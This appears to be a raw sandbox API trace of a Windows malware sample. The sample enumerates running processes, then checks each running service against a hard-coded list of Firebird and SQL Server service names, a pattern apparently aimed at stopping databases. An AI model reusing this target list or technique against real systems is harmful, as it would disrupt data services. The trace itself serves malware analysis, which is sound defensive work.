	[0166.377] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0166.377] lstrlenW (lpString="audiodg.exe") returned 11
	[0166.377] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0166.377] lstrlenW (lpString="Memory Compression") returned 18
	[0166.377] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0166.378] lstrlenW (lpString="taskhostw.exe") returned 13
	[0166.378] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0166.378] lstrlenW (lpString="sihost.exe") returned 10
	[0166.378] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0166.379] lstrlenW (lpString="svchost.exe") returned 11
	[0166.379] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0166.380] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0166.380] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0166.380] lstrlenW (lpString="taskhostw.exe") returned 13
	[0166.380] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0166.380] lstrlenW (lpString="explorer.exe") returned 12
	[0166.380] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0166.381] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0166.381] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0166.381] lstrlenW (lpString="SearchUI.exe") returned 12
	[0166.381] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0166.382] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0166.382] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0166.382] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0166.382] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0166.383] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0166.383] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0166.383] lstrlenW (lpString="cmd.exe") returned 7
	[0166.383] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0166.384] lstrlenW (lpString="conhost.exe") returned 11
	[0166.384] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0166.384] lstrlenW (lpString="mode.com") returned 8
	[0166.384] Process32NextW (in: hSnapshot=0x4cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0166.384] CloseHandle (hObject=0x4cc) returned 1
	[0166.384] Sleep (dwMilliseconds=0x1f4) 
	[0166.996] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929fc0
	[0166.996] EnumServicesStatusExW (in: hSCManager=0x3929fc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0166.997] GetLastError () returned 0xea
	[0166.997] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x40ab668
	[0166.997] EnumServicesStatusExW (in: hSCManager=0x3929fc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40ab668, cbBufSize=0x1bc4, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x40ab668, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0166.998] CloseServiceHandle (hSCObject=0x3929fc0) returned 1
	[0167.001] lstrlenW (lpString="AppXSvc") returned 7
	[0167.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0167.001] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0167.001] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0167.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0167.001] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0167.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0167.001] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0167.001] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0167.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0167.001] lstrlenW (lpString="Audiosrv") returned 8
	[0167.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0167.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0167.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0167.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0167.001] lstrlenW (lpString="BFE") returned 3
	[0167.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0167.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0167.001] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0167.001] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0167.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0167.001] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0167.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0167.001] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0167.001] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0167.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0167.001] lstrlenW (lpString="CDPSvc") returned 6
	[0167.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0167.002] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0167.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0167.002] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0167.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0167.002] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0167.002] lstrlenW (lpString="CryptSvc") returned 8
	[0167.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0167.002] lstrlenW (lpString="DcomLaunch") returned 10
	[0167.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0167.002] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0167.002] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0167.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0167.002] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0167.002] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0167.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0167.003] lstrlenW (lpString="Dhcp") returned 4
	[0167.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0167.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0167.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0167.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0167.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0167.003] lstrlenW (lpString="Dnscache") returned 8
	[0167.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0167.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0167.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0167.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0167.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0167.003] lstrlenW (lpString="DPS") returned 3
	[0167.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0167.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0167.003] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0167.003] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0167.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0167.003] lstrlenW (lpString="DusmSvc") returned 7
	[0167.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0167.003] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0167.003] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0167.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0167.003] lstrlenW (lpString="EventLog") returned 8
	[0167.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0167.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0167.003] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0167.003] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0167.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0167.004] lstrlenW (lpString="EventSystem") returned 11
	[0167.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0167.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0167.004] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0167.004] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0167.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0167.004] lstrlenW (lpString="FontCache") returned 9
	[0167.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0167.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0167.004] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0167.004] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0167.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0167.004] lstrlenW (lpString="gpsvc") returned 5
	[0167.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0167.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0167.004] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0167.004] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0167.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0167.004] lstrlenW (lpString="iphlpsvc") returned 8
	[0167.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0167.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0167.004] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0167.004] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0167.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0167.004] lstrlenW (lpString="KeyIso") returned 6
	[0167.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0167.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0167.004] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0167.004] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0167.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0167.005] lstrlenW (lpString="LanmanServer") returned 12
	[0167.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0167.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0167.005] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0167.005] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0167.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0167.005] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0167.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0167.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0167.005] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0167.005] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0167.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0167.005] lstrlenW (lpString="lfsvc") returned 5
	[0167.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0167.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0167.005] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0167.005] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0167.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0167.005] lstrlenW (lpString="lmhosts") returned 7
	[0167.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0167.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0167.005] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0167.005] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0167.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0167.005] lstrlenW (lpString="LSM") returned 3
	[0167.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0167.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0167.005] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0167.005] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0167.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0167.005] lstrlenW (lpString="MpsSvc") returned 6
	[0167.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0167.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0167.006] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0167.006] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0167.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0167.006] lstrlenW (lpString="NcbService") returned 10
	[0167.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0167.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0167.006] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0167.006] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0167.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0167.006] lstrlenW (lpString="netprofm") returned 8
	[0167.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0167.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0167.006] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0167.006] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0167.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0167.006] lstrlenW (lpString="NgcSvc") returned 6
	[0167.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0167.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0167.006] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0167.006] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0167.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0167.006] lstrlenW (lpString="NlaSvc") returned 6
	[0167.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0167.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0167.006] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0167.006] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0167.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0167.006] lstrlenW (lpString="nsi") returned 3
	[0167.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0167.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0167.007] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0167.007] lstrlenW (lpString="PcaSvc") returned 6
	[0167.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0167.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0167.007] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0167.007] lstrlenW (lpString="PlugPlay") returned 8
	[0167.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0167.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0167.007] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0167.007] lstrlenW (lpString="Power") returned 5
	[0167.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0167.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0167.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0167.007] lstrlenW (lpString="ProfSvc") returned 7
	[0167.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0167.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0167.007] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0167.007] lstrlenW (lpString="RpcEptMapper") returned 12
	[0167.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0167.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0167.007] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0167.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0167.007] lstrlenW (lpString="RpcSs") returned 5
	[0167.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0167.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0167.008] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0167.008] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0167.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0167.008] lstrlenW (lpString="SamSs") returned 5
	[0167.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0167.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0167.008] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
